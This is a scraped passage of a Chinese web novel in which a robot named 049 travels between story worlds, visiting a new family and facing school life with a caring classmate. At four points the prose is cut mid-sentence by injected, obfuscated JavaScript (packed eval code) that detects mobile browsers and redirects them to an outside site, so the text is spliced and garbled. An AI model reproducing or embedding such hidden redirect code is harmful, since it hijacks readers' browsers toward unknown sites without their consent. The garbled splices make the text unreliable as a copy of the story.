深藏功与名的管家：“哈哈。” 裴熠彤家偌大的客厅里，此时一片沉寂。 只听到窗外花园里传来不知名的怪鸟大叫：“嘎嘎嘎——！” 叫声在客厅里回荡着，就像一声幸灾乐祸的嘲笑。 将这尴尬冻住的空气搅成了一滩浑水，雪上加霜。 最莫名其妙、搞不清楚状况的是049。 他只是想下楼找管家推销扣扣，结果刚到楼梯口就被客厅里的三双眼睛牢牢盯住了。 裴熠彤的眼神看上去好像要把他摁到地里去。 管家的眼神闪烁着一种兴奋和诡计得逞的得意。 而第三个人—— 温秋亭看着049，有些吃惊又激动地站起身来。 “你……”他的声音有点颤抖，目光一刻都没有从049身上移开。 “嗯？”049认出了这个人。 这不是他的恩师吗！ 他的《学习教材》文件夹里，还端端正正放着恩师的截图呢！ 049已经把他温柔的笑容学透了，非常好用。他还想着什么时候能再碰到恩师，再学点别的表情。 于是，求知若渴的049快步走下了楼梯。 中途不忘对着温秋亭又截了八百张图，放进了《学习教材》里。 不愧是恩师！连惊讶的表情都这么好看！ 049在心里由衷的赞叹道。 温秋亭看着林肆玖一步一步从楼梯上走下来，走到了自己的面前。 他的心也跟着，一下一下的颤抖。 太像了。 林肆玖的脸庞被窗外的明媚春光所笼罩，熠熠生辉。 而他看向自己的表情……好奇中又带着一丝孩童般的天真。 以及几分不知从何而来的亲切。 恍然间，他好像回到了十几年前。 他还未夭折的弟弟张开手向他跑过来，甜甜地叫他哥哥，要他抱。 ……父亲说的没错，如果当年弟弟没有出事的话，大概就是林肆玖这个年龄，就是他这个模样吧。 温秋亭感觉自己的眼眶微微有点发热，像是压抑已久的思念从童年回溯而来，又缓缓溢出。 不行，这也太失态了。 他怕吓到第一次见面的林肆玖，连忙用手按了按眼睛，恢复了温和的笑容： “你好，初次见面，我叫温秋亭。” 在一旁的裴熠彤小心谨慎地盯着温秋亭的表情。 他一开始以为温秋亭会愤怒，会拂袖而去。 没想到温秋亭竟眼圈红了。 ……他在伤心吗？ 裴熠彤心神一震，皱起眉头。 难道……温秋亭心里其实一直有自己。如今看到自己身边有另外的人，于是伤心了吗？ 哪怕是伤心，他也在努力掩藏自己的情绪，对林肆玖如此友好。 不愧是月光一样温柔的温秋亭啊。 裴熠彤心里涌起愧疚与心疼。 他想现在就上前去抱住温秋亭，替他抹去他努力压抑住的泪。 他要告诉他，他可以现在就赶走那个可笑的替身林肆玖，他爱的只有他一个人。 裴熠彤几乎要被自己计划的画面感动了。 于是他向前跨了一步，想隔断温秋亭注视着林肆玖的难过目光。 没想到却被温秋亭一手推开了。 温秋亭第一次做这么粗鲁的动作，因为他嫌裴熠彤突然跑过来挡着人了。 他连看都没有看裴熠彤一眼，全部注意力都在林肆玖身上。 “可能有点冒昧了。”温秋亭诚恳地对林肆玖说，“但我今天来其实就是找你的。我……我可以认识你吗？” “当然可以。”049求之不得。这可是恩师啊。 得到了林肆玖肯定的回答后，温秋亭的眼睛瞬间亮了。 “那，那有空可以去我家坐坐。”他高兴得有些语无伦次，“如果你有空的话，今天就可以过来。” 他相信爸爸和妈妈看到林肆玖，一定也会很有感慨的。 “好啊好啊。”049一口答应。 但是他突然想到什么，看了一眼旁边不知为何陷入低气压的裴熠彤：“等一下，好像不行。” 然后在裴熠彤恶狠狠的目光之中，他诚实地说：“熠彤让我今天就呆在这里，哪里都不准出去。” 裴熠彤：“……” 温秋亭吃惊地转过头看向了裴熠彤。 这种话对朋友说，未免有点太过界了。 没错。直到现在为止，温秋亭还一直以为林肆玖和裴熠彤是单纯的朋友关系。 因为温秋亭他是一个百分百纯直男。 从小到大，有很多男人在他身上倾注过倾慕的目光，而他把那些统统当成了朋友的欣赏。 ——他甚至都没有想到过两个男人会有除了朋友兄弟之外的关系。 所以哪怕看到管家拍的林肆玖靠在裴熠彤怀里的照片，哪怕林肆玖住在裴熠彤家里。 温秋亭也只是觉得，他们俩关系真不错啊！ ……但即使关系好，也不能限制别人的人身自由吧。 温秋亭微微皱起了眉头。 联系到之前裴熠彤否认自己认识林肆玖的行为，温秋亭合理猜测—— 这对关系不错的朋友，是不是闹什么矛盾了？ 性格温和的温秋亭从小就开始替周围人调解矛盾了，这对他来说可算是专业对口。 在他正想开口替他们调解一下的时候，裴熠彤忽然语气不善地开口了： “林肆玖，你想去你就去吧。” 裴熠彤不想让温秋亭觉得自己是一个控制欲强的人，于是假装大度地同意了。 但他依旧紧紧地盯着林肆玖，希望林肆玖能够识相一点，看懂他的意思，主动拒绝温秋亭的邀请。 然后他就听到了林肆玖欢快的声音： “那太好了，现在就去吧！” 049完全听不懂裴熠彤的潜台词，一心只想跟着温秋亭多学习学习。 “那我就先带林肆玖走了。”温秋亭看林肆玖高兴，眼睛也笑得弯弯的。 他说完又觉得自己冷落了裴熠彤，连忙礼貌地补充一句：“下次有空的话，熠彤也来我们家吃饭吧。” 裴熠彤没想到曾经期望着的，温秋亭的主动邀约会在这种情况下实现。 而且看上去完全是沾了林肆玖的光。 眼看着林肆玖跟在温秋亭旁边屁颠屁颠地走了，裴熠彤不禁陷入了沉思。 ……这对吗？ 为什么白月光和替身能如此其乐融融啊！ 没有一个人在乎他吗？没有一个人因为他而吃醋吗？ ……霸道裴总的男人之心微妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271016|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地受了重伤。 * 温秋亭开车将049带回了自己的家。 温家的别墅和裴熠彤的私人别墅风格迥然不同。 裴熠彤的住所华丽又疏离，目光所及的一切都价值不菲，却又好像缺少一些“人”的气息。 而温家的别墅有着红砖的外墙，院子里架着木质的花架，上面爬满了深深浅浅、如烟似雾的紫藤萝花朵。 精致的小亭在绕院的小溪边照影，亭中央放着一块石刻的棋盘，像是有人常常于其中对弈。 “没有裴家的花园讲究，家父就喜欢乱摆些东西，见笑了。”温秋亭打开门迎049进去，歉意地笑道。 “很漂亮。”049新奇地四处摸摸看看。 于是，温秋亭就为049一一介绍院子里的陈列。 哪些花是他出国前亲手种下的，哪些植物是他父亲最喜欢的，哪些小饰物是他母亲摆上的。 院子介绍完了，温秋亭又带049到别墅里。 温家的别墅是中式装潢，除了古董文玩，随处可见的是各类书籍。 一卷李煜诗集随意摊开在临窗的茶桌上，又是三两卷词话摆在砚台旁。 温父是一名儒商，如果当初他不是被迫继承家产，也许会在哪个文院里安安静静研究他的书。 而来到三楼，温秋亭推门带他进了一个小房间。 049明显觉得这里风格一变。 这里的墙壁刷成了鲜艳明丽的浅蓝色，并且绘有波浪的纹路，看上去像一间儿童房。 而房间的陈列柜里，摆着一艘巨大的轮船模型。 “这是我弟弟的房间。”温秋亭的声音低了点，“他很喜欢轮船和海洋。” “很棒的装饰和爱好。”049礼貌地点评道。 “那么你呢，”温秋亭的眼睛里突然带着点祈求一般的神色，“你对这些……感兴趣吗？” “……？”虽然不知道温秋亭为什么突然这么问，但049还是实话实说道，“不太感兴趣。” 在他的机器人生涯里，暂时还没有什么特别的爱好。 “……”听闻回答，温秋亭有些颓然地低下头去。 但很快，他又抬起头看向049，这次目光里有几分羞愧。 “对不起，林肆玖，我要向你道歉。”他突然说。 “为什么？”049奇怪道。 “因为……”温秋亭的语气更惭愧了，“我一开始想和你认识的契机，是因为你太像我去世的弟弟了。” “但是……我不应该抱着把你当成另一个人的目的去接近你。” “我现在意识到了，你不是他。你没有义务去承载他人的思念或者期望。” “你是一个独立的人，不应该被任何人当成别人。” “所以，”温秋亭的声音微微颤抖起来，“对不起。我觉得应该把这些告诉你。如果你知道这些之后，不打算和我来往了，我也能够接受。” 049凝视着温秋亭。 此刻，微斜的夕阳照进儿童房里，将那艘轮船模型镀上了柔和又陈旧的光影。 站在陈列柜前的温秋亭垂着眸，像是在等待一个最坏的回应。 “没关系呀。”049慢慢道。 “你坦诚告诉我了，我不会介意。如果能让你想起亲人，我也很高兴。” 他拍了拍温秋亭，脸上绽出了一个和他如出一辙的笑容： “哥哥。” 16. 下雨不知道打伞 049看见温秋亭猛然抬起头。 他的眼睛里亮晶晶的，映着夕阳、回忆和049的倒影。 半晌，他也露出了一个笑容：“嗯！” 随后又像是不好意思似的，他很快地转过身去了。 “还有别的地方我再带你看看。那边有客房常年是空的，你有空也可以来住呀。”他又带着049在楼上转了一圈。 049认真地一一看过去，认真地应下他的邀请。 过了一阵子，温父温母也从外面回来了。 看到049，他们的表情也惊讶又感慨万千。 “和小亭真是一个模子里刻出来的。”温母看着049和温秋亭两个人并排站着，啧啧称奇，“我就是再生一个也生不出这么像的了。” “这孩子和我们家也是有缘分呀。”温父笑眯眯地看着049，伸手拍了拍他的肩膀。 然后他又想到什么，回头打趣温秋亭道：“小亭之前还气冲冲的来质问我，问我是不是在外面偷偷养儿子了。” “哎呀爸！这种事情能不能把它忘掉，就不要再提了！”温秋亭难得露出了窘迫的表情，脸上都微微红了。 温父哈哈大笑。 049也在笑。虽然他不知道自己为什么会笑，但是在这样的氛围中，他莫名觉得很轻松。 温母过来拉他：“小林今晚就在我们家一起吃吧。如果没事的话晚上就住这里，这里一切用品都是全的。” 049答应了。 反正他也不想回去面对裴熠彤那张冷冰冰的脸。 在温家的晚上很快就过去了。 吃完饭，温秋亭和049坐在院子里的亭子里，吹着晚风，聊了好一会儿天。 温秋亭好奇问道：“你和熠彤关系还挺好的呀。我跟他认识那么久，还没见过他让朋友长住在他家里。” 049回忆了一下，觉得他和裴熠彤的关系实在不能用“好”来形容：“也不是很好。” “昨天我还不小心踹了他一脚。”049诚实道，“他好像很生我的气。” “？”温秋亭大为震撼，“你？踹了？他？” 他不由重新打量了一下林肆玖。 林肆玖在他心里已经是一个善解人意温柔体贴的弟弟形象了。 而裴熠彤是叱咤商界的豪门骄子，一般人对他的印象都是冷峻而高不可攀。 这样的两个人……打起来？ 他的脑子里不由得浮现出一个诡异的画面—— 温柔柔弱的林肆玖一脚回旋飞踢，将身材高大的冷面霸总裴熠彤踢飞在半空旋转360度。 ……这不对吧！ 温秋亭感觉自己的某些观念被重塑了。 沉默了半天，他才终于把那幅画面从脑子里清除出去。 “方便说说为什么吗？也许我可以帮的上忙。”温秋亭一心想要调解他们的矛盾。 “因为我去谢明知家玩，被裴熠彤发现了。”049无辜道。 “？”温秋亭更加震撼。 这，这种友情好像不太健康吧！怎么控制欲这么强！大直男温秋亭想。 不能让裴熠彤把他新鲜出炉的弟弟带歪了。 于是温秋亭安慰049道：“没事，马上我会找机会和熠彤聊聊的。” 他正义执言：“就算是好朋友，也不可以控制对方的社交啊。” 049深以为然地点点头。 下一秒，嗡嗡的震动声在049的口袋里响起。 049掏出手机来看了一眼，是裴熠彤的第二十八个来电。 “嗯？有急事吗？”温秋亭听049的手机响个不停，担心道。 049现学现卖地挂断了电话。 “没什么事。”他说。 在温家人的热情挽留下，049晚上留宿在了温家。 客房布置的很舒适，049安心地躺在了床上。 他拿起手机又看了一眼消息提示。把裴熠彤的未接来电划掉，剩下的都是校园世界的群消息。 049一条条刷下来，努力理解着那群高中生的网络用语，像是08年的座机电话刚接上5G网络一样。 不过幸好他的同学们也并没有聊很多，毕竟都是学业繁重的高中生，大家很快互道了晚安。 “晚安！”他看见喻星光也在群里发了一句。 049注意到喻星光的头像好像和之前不一样了，他想悄悄点开看一眼。 结果不小心手滑点成了拍一拍。 049：…… 然后，他就收到了喻星光的一条小窗消息。 喻星光：晚安！ 他又单独给他发了一遍。 049看着屏幕上的消息，不知为什么嘴角上扬了。 大概是觉得新鲜吧，他想。 林肆玖：晚安！ 他也这么回了他一句，同时打开了切换世界的页面。 他切换到校园世界的时候可以选择时间点。 所以他可以直接跳过“晚安”之后的夜晚，抵达“明天见”的“明天”。 * 白光闪过，049站在了景城一中的大门口。 又是一个全新的早晨。 049以为迎接自己的会是和上次一样的春日丽阳、和煦暖风，没想到一抬头看到了一大片阴沉铅色的积雨云，黑沉沉地压在景城一中的钟楼之上。 在下雨。微冷的风挟着雨滴拍打在049的身上，将他的头发和衣服打湿。 周围来来往往的学生都举着伞，脚步匆匆地路过049时会投来几眼好奇的目光。 毕竟一个人愣生生地走在雨地里也太奇怪了。 049倒是无所谓，他的机体防水做的很好，他并不担心进水。 于是他不紧不慢地往校园里走，时不时还有闲心踩两脚地上的水坑。 但这时，他听到身后传来急急的脚步声响，踏在积水的路上啪嗒啪嗒，正追着他朝这边来了。 049刚回头，还没看清来人是谁，头顶就被一把黑色的伞笼罩住了。 “你怎么不打伞啊？”熟悉的声音带着急切，在他耳边响起。 049知道来人是谁了。 少年骨节分明又修长有力的手擎着伞柄送到049眼前，将伞明显地向他倾斜，护住了049的整个身子。 喻星光正有些担心地看着他，另一只手摸了摸049的校服外套。 “全湿了。”他带着微微的责备道，“穿着湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271017|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服上课你要着凉的。” “啊。”049想要解释，“没关系的。” 他是机器人，他又不会因为淋雨感冒。 但这话又不能和喻星光直讲，于是他闭上了嘴。 伞下沉默了一瞬。 这把伞是单人伞，他们挤在一把伞下，不由得肩膀抵着肩膀。 可能是因为靠得近的缘故，喻星光身上淡淡的洗衣液香味随着潮湿的风扑在049的脸上。 “帮忙打一下伞。”喻星光突然说道。 049不明所以，乖乖地伸手接过了伞柄。 下一秒，窸窸窣窣的声音响起，049猝不及防地被那种淡淡的洗衣液香味包裹住满身。 喻星光将自己的外套脱了下来，披在了049身上。 “你把你的湿外套脱了吧，先穿我的。”喻星光说，又拿回了伞，举在049头上。 “真不用的。”049握着那件校服，有点不知所措。 喻星光将外套脱下之后，里面只穿了一件单薄的校服白衬衫。 此刻白衬衫被迎面的风灌满，翻飞如白鸟的翅膀。 “你穿的少也会着凉！”049把外套塞了回去，“我身体很好的！我从不感冒，你别担心我。” 听到“你别担心我”这句话，喻星光欲盖弥彰地猛地扭过头，含含糊糊地说：“你要是生病，班级出勤率也会下降啊。” 他硬是没有接049塞回来的外套，坚称自己一点都不冷。 很快到了教学楼内，喻星光把伞一收，越过049快步先走了。 “我得去先开一下电子屏幕！” 他撂下一句话就三步两步跨上了台阶，不给049再推还外套的机会。 049落在后面，看着喻星光匆匆上楼的背影。 他分明看见，喻星光白衬衫的右肩上也湿了一大块。 大概是刚刚把伞倾向他的时候，被伞檐上滴下的水淋的。 这位班长可真是个好人啊！ 049在心里默默感慨。 到了教室里，已经有三三两两的学生坐在座位上了。 可能是时间还比较早，有些学生还在吃着早饭，空气里微微弥漫着热牛奶和面包的香味。 “早啊。”坐在应琸后桌的那个男生比较活泼，咬着吐司跟049打招呼，“吃了吗？” “没吃。”049诚实地说。 他一下子就被传送到门口了，哪有时间吃早饭。 而且人类的早饭对他来说也不是必要的。 “没吃来一片啊。”男生热心地敞开自己的吐司袋子，要跟049分享。 “我不饿。”049摆摆手，想把书包放进桌子里，却发现书包上还湿漉漉的。 旁边沉默着递来了一包纸巾。049说了声谢谢，就抽了一张。 喻星光皱着眉头看着049擦书包。 林肆玖到底是怎么回事，下雨也不打伞，一早上连早饭也不吃。 他的家里人也不提醒他，对他这么不负责任吗？ 喻星光不由得想起了昨晚话筒里的那个语气不善的男声。 很凶，还充满控制欲。 ……林肆玖的家庭，到底是怎么回事啊？ 17. 过于奇怪的爱情观 喻星光从小就是个正义感溢出的孩子。 喻星光五岁的时候，在上学路上捡到一只冻昏的小猫，默不作声把猫揣在毛衣里捂了一整天。 直到快放学的时候，猫被捂醒了，咪咪叫起来，才被老师发现。 老师一掀喻星光的毛衣，大叫起来：“这猫有跳蚤——” 喻星光的肚子上红了一片。 喻星光妈妈接到电话，把他和猫带回家的时候，恨铁不成钢：“被咬了那么痒那么疼都不说，你傻啊？” 小喻星光一边擦着药，一边很高兴地指着旁边狼吞虎咽舔着羊奶的猫：“猫喝的好开心！” 他完全没有在听。 喻星光十岁的时候，放学时候看到班上同学被初中的小混混勒索。 作为班长他觉得自己义不容辞，于是挺身而出。 虽然挨了一下子，但是从邪恶小混混手里正义解救出了可怜同学，和同学皱皱巴巴的五块钱。 同学用这好不容易夺回的五块钱去小卖铺一口气买了五根棒冰。 三根硬是塞给了喻星光，两根留给自己。 两个人坐在树荫下吃了个酣畅淋漓。 喻星光妈妈听闻他的英勇事迹，自豪之余又叹了口气。 默默给他报了个跆拳道班。 诸如此类的事例，在喻星光从小到大的十几年时光里可以说数不胜数。 由于又正义又负责任，班长的这个职务也好像焊在了他的身上。 有人说喻星光这种太实心的人容易吃亏，但是喻星光从来不在乎。 他家的猫已经十几岁高龄了，依旧毛顺目明吃嘛嘛香。 要是没有他的“实心”，他的猫早就冻死在十几年前的那个冬日早晨了。 所以在校门口看到浑身被雨淋湿，低着头慢慢走着的林肆玖，他几乎没有犹豫就脱下了衣服给他。 虽然他不知道，049低着头走只是在踩水坑玩。 从明天开始，带一份早餐给林肆玖吧。 喻星光想着。他看着林肆玖擦完书包，又抽了几张纸递了过去。 “给，把头发也擦擦干。”他指了指林肆玖微微潮湿的头发。 林肆玖接过纸巾，给了他一个灿烂的笑容：“谢谢！” 喻星光怔愣了一瞬间，在林肆玖的笑容里。 然后他假装很忙地开始低头看书：“不客气，应该的。” 049一边擦着头发，一边看喻星光突然低头胡乱翻着书，好心提醒道：“你把书拿倒了。” 喻星光：“……” 他不声不响地把书正回来，没有再说一句话。 但是摄像头极高清的049敏锐地看到他耳朵又透上了一点点红。 假装学习被揭穿了也不用不好意思呀，谁都有摸鱼的时候。 049想。他的同桌还是太容易害羞了。 那一天上午，一切都过得比较正常又平淡。 049中午和同学们一起吃饭，面对餐盘的时候，他没忍住又给面前的菜扫描了一下。 【扫描午饭成分：米饭、青菜、牛肉、土豆、西红柿、鸡蛋、食堂阿姨的头发一根……】 049面无表情地把食堂阿姨的秀发挑出来扔了。 还好，除了这根头发，都是健康无毒的饮食。 还是正常校园世界好啊！不用担心有人给自己下点奇怪的药。 在仙尊世界要担心被下珍稀毒药，而霸总世界，就得注意狗血文出镜率很高的另一种药了。 目前还没有遇到，希望以后也不要遇到。 在悠然吃完午饭回到教室之后，049却猝不及防地迎来了一个小波澜。 他发现他的桌子抽屉里赫然多出了一封信。 信封摸起来很有质感，还散发着淡淡的甜香味。 049把它拿起来翻来覆去左看右看，没有发现署名。 【不明来源信件，不可信】 049又做出了似曾相识的判定。 不过这次他没有着急把它丢进垃圾桶，因为他突然想到了霸总世界的管家曾经也干过这种事情。 但管家其实是好心给他介绍恩师。 ——希望以后大家给他写信的时候都要记得署名啊！ 有了管家的前车之鉴，049网开一面，放过了这封不明来源的信件，把它拆开了。 信封里只有一张薄薄的纸，写着一句话： “你好，很想认识你，请问你现在有女朋友吗？” 这话没头没脑的程度堪比“裴熠彤在影都机场，接一位故人”。 至少对049来说，两个意思都不好懂。 049伸过头，虚心请教旁边的喻星光：“请问你现在有女朋友吗？” “？？！”埋头学习的喻星光差点跳起来，震惊道，“没没没没没有，你干嘛问这个？” “对啊，我也奇怪。为什么有人问我这个？”049盯着信，百思不得其解。 049从没有过女朋友，但他有一个名义上的男朋友和一个名义上的道侣。 不过不管是男朋友还是道侣，对他来说都是任务对象罢了。 ——等等，049突然想到了一种恐怖的可能性。 难道是这个世界有人怀疑他的身份，在暗中打探他到底有没有在这个世界做任务吗？！ 穿书者在本世界的任务内容一旦暴露，会面临着很危险的情况：可能会被有心人侵占剧本，逐出世界。 他明明觉得自己掩藏身份已经掩藏很好了！ 看来自己还是太早就放下心了，校园世界竟也有险恶！ 难怪这个人会匿名送信，原来是图谋不轨。 心机深沉，恐怖如斯！ 049紧攥着那封信，心中警铃大作。 而旁边的喻星光看了一眼那封信，平淡道：“哦，你说这个。” “刚刚隔壁班一个女同学送过来的。”他又低下头写卷子去了，声音闷闷的，“问你有没有女朋友吗？那大概是喜欢你吧。” “喜欢我？”049更奇怪了，“我不懂。喜欢我为什么问我女朋友的事啊？” ……难道这不是在打探他的任务吗？很冒昧又危险诶！ 喻星光缓缓从试卷里抬起头，探究地看向林肆玖。 林肆玖问的问题太过于离奇，以至于喻星光怀疑林肆玖是不是害羞了在装傻。 但是他好像真的非常的困惑。 ……林肆玖是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271018|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在什么绿色儿童删减版环境下长大的吗？ 喻星光感觉林肆玖身上的谜更多了，但是当下他还是耐心给林肆玖解释了：“喜欢你，所以打探一下你是不是单身。只有你单身，她才有机会做你的女朋友啊。” 他觉得自己已经说的非常清楚了，但林肆玖露出了若有所思的表情。 049默默琢磨着。 要做他女朋友或者男朋友就是喜欢他。那么裴熠彤和江珺就是喜欢他。 喜欢的表现是什么呢？裴熠彤和江珺对他限制行动、控制交友、忽冷忽热。 ……所以校园世界这个说喜欢他的女生，也是想这样吗？ 他脱口而出：“她是想囚//禁我控制我吗？那还是算了。” “？？？！”喻星光的笔掉了。 他有点怀疑自己的耳朵，大为震惊地看着旁边的林肆玖。 林肆玖刚刚轻描淡写说出了什么玩意儿？ 不是，一个单纯的表白到底是怎么和囚//禁控制挂上钩的啊！ 这到底是什么奇怪扭曲的爱情观啊？！ 林肆玖一定是在开玩笑吧？一定是吧！ 但很不幸的是，他观察了半天，林肆玖好像是认真的。 刚刚他还怀疑林肆玖是在儿童版环境下成长的，现在怎么突然跳到不可说的成//人禁//忌片场了啊！ 中间没有一点点转折吗！ 喻星光心里惊涛骇浪。 他现在真的觉得林肆玖难以捉摸了，到底是什么样的过往经历、什么样的家庭环境，才会让林肆玖有这样的认知啊？ 他沉默了，不敢开口问，怕触及林肆玖可能存在的创伤。 只是他的眉头一直没有松开过，整个下午都是一种忧心忡忡的模样。 ——这种担忧一直到傍晚才终于被缓解了。 那是晚餐结束之后的难得的闲暇，同学们回到教室里抓紧时间讨论繁花周要表演什么节目。 还是那些常规的内容，有人说唱歌，有人说跳舞。 而之前提议胸口碎大石被否决的049决定闭嘴，先不说了。 潘莺语嗓门大，她嚷嚷着说可以表演小剧场，这样可以好多人一起上阵，不浪费咱班这么多俊男靓女。 有人觉得有趣，于是应和着支持。 喻星光想了想说：“可以是可以，但是得选点跌宕起伏扣人心弦的好剧本，这样才能让观众看的不无聊。” 这时，他身边一直安安静静林肆玖突然积极地举起手来，眼睛亮亮的。 “要跌宕起伏的剧本的话，”他一副专业对口的样子，“我有两个。” 大家安静下来，洗耳恭听。 然后就听林肆玖说出了两个石破天惊的名字。 “《霸道总裁的替身情人》，还有《无情道仙尊杀妻证道后》。” 他自信满满道。 ………… 大家欲言又止。 确实很跌宕起伏扣人心弦，但这能在高中文艺晚会上演吗！ 而喻星光在震惊中突然恍然大悟。 ……他好像终于明白了，为什么林肆玖的爱情观又懵懂无知，又奇怪扭曲了。 ——少看点狗血文吧林肆玖！！！ 18. 吻和拳头 “这个不能演。”喻星光擦着汗对049说道。 049很失望。 好不容易来到了他的领域！ 演戏！剧本！ 虽然他故障了，但是想当年他也是为演戏而生的专业机器人，影帝级别！ ……唉，算了。好机器人不提当年勇。 049有些惆怅。 喻星光悄悄瞥了眼林肆玖的表情。 雨云褪去之后，教学楼窗外是一片绮丽的赤色晚霞。 林肆玖坐在窗边，垂着眸子，赫然一副令人心碎的美少年忧伤图。 很美的意境。 ……如果这位美少年不是因为狗血剧本被否决而忧伤，就更有意境了。 鬼使神差的，喻星光还是安慰似的说了一句：“不过林肆玖的提议还是很有创意的……呃，大胆前卫，别出心裁，值得学习。” 然后他就看见林肆玖的眼睛唰地亮了。 其他同学再次：“？” 班长你听听你在说什么东西! 潘莺语的目光在喻星光和林肆玖之间巡梭了一番，然后悄悄俯身对同桌说：“我感觉班长像被妖妃迷惑，开始胡说八道的昏君。” 她的同桌看了一眼正笑得灿烂的“妖妃”林肆玖，评判道：“人之常情。” 潘莺语琢磨了一下，也是。为博爱妃一笑，昧着良心讲两句胡话怎么了。 要她是昏君她也这么干。 最后大家嘻嘻哈哈一通，节目的内容还是没有决定下来。 眼看着还有三分钟就要上晚自习了，喻星光宣布今天的议程结束，下次再议。 坐在别人桌上的、倚在别人椅背上的各类同学纷纷回到自己座位坐下，准备进入学习状态。 喻星光这时却突然发现了不对：“等一下，牧风羽和应琸怎么到现在没回来？” 他有点担心。 因为今天课间的时候，应琸和牧风羽发生了一些争执。 虽然不知道是因为什么，但是他从来没有看到过应琸那么失态的样子。 应琸一向是冷淡的、平静的、有条不紊的。 遇到任何事情，他都可以不急不躁地解决，仿佛一切尽在掌控之内。 但是今天，他在全班惊恐的目光之中，冲上去拽住了牧风羽的领子，几乎是吼着说：“你把话说清楚！” 他平日里沉稳的手微微颤抖，攥得青筋毕露。 大家不明所以，但心惊胆战，以为脾气暴的校霸肯定要和他对着吼了，于是纷纷做好了冲上去拉架的准备。 但是牧风羽此时却出奇的平和，他轻轻拂开应琸拽着他的手，道：“晚饭后，天台见。我把话说清楚。” 然后晚饭后他们就再没有出现。 喻星光生怕他俩在天台上打起来。 不说别的，应琸铁定打不过牧风羽啊。他脑子里浮现出一幅不好的画面——鼻青脸肿的学霸和被警车带走的校霸，不由得打了个寒战。 喻星光不想在法制新闻上看到他的两个朋友。于是他决定去天台看一下，如果情况不妙还能劝一劝。 “你去找应琸他们吗？”049看到喻星光站起身，连忙说，“我也去。” 应琸和牧风羽可是本文的主角攻受诶，多接触他们一定能学习到什么。 “那好。” 喻星光同意了。多个人如果拉架也方便。 于是两个人就一前一后，步履匆匆地向天台上跑去。一层又一层，穿过斜斜洒进楼梯间的昏黄阳光。 “一会儿要是不妙，我们分工行动。你去拉应琸，我去拉牧风羽。”喻星光和049约定道。 眼看着天台的门就在上一层了，喻星光三步并作两步跨上了台阶。 他一眼就看到了空旷天台上的两人。 漫天云霞笼罩之下，他们的身影像瑰丽画布上的黑色剪影。 两个人靠的很近，可以看到牧风羽把应琸抵在天台栏杆上，一只手紧紧攥着应琸的手腕，不让他挣脱。 完了完了，果然要打起来了！幸亏他们到得早，可以及时阻止一场惨剧。 喻星光松了口气，正要冲上去劝阻—— 下一秒，他突然停住了脚步，猛地转过了身。 跟在他后面冲上来的049一时没有刹住脚步，撞了他满怀。 “怎么突然停……” 049刚要发问，就被喻星光一把捂住了嘴巴。 他们俩就保持这个姿势，在原地僵了很久。 049的视线被喻星光完全阻隔了，嘴也被他牢牢捂住，不明所以。 但是他能感觉到喻星光惊愕又紧张。 因为他听见喻星光的心脏在砰砰砰地跳，像是早晨他听到的，初春的雷暴在云层中翻滚的震响。 049第一次如此近地倾听一个人类的心跳。 真实的、而不是像他一样用机械做出的仿真心脏的跳动。 在这种状况之下，049反正也动不了，干脆开始数起了喻星光的心跳。 等他数到第52下的时候，喻星光终于放开了他。 “不要发出任何声音，我们悄悄地走。” 喻星光极小声地说，慢慢挪动僵硬的脚步，不敢再回头看一眼。 他刚刚看到了极为冲击他认知的画面。 在他以为暴力惨剧要发生的下一瞬，他看见牧风羽抬起了应琸的下巴，狠狠地吻了上去。 ——喻星光感觉自己的眼睛要掉下来了。 刹那间，一万个问题在他脑海里爆炸开—— 到底什么情况？！ 牧风羽和应琸不是对头吗？为什么会亲起来？！ 他们到底是什么关系？！ 男生和男生之间也能接吻吗？！ 男生和男生之间……也能接吻吗？！！ ……………… 他顶着像奇点爆炸一般的脑袋转过身，用自己唯一一丝清醒的理智阻止了林肆玖出声。 直到稍微缓过来一点，他才终于拉着林肆玖离开这个令人震撼的天台。 而049一开始什么也没看到。 在喻星光拉着他走的时候，他才逮到机会，迅速瞄了一眼天台上是什么情况。 那时一吻已毕，应琸难得呆愣住，向来白皙的脸庞涨的通红。 然后他咬着牙，一拳向牧风羽的脸上挥去。 049看到的就是应琸的拳头招呼到牧风羽脸上的那一幕。 什么嘛，原来就是在打架。 049想，喻星光看到这个就吓得不轻了？承受能力有待加强啊。 他一边被喻星光拽着做贼似的逃跑，一边心里思索。 原来校园世界的情侣也在打架呀。 看来自己对裴熠彤踹的那一脚也没错。 或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 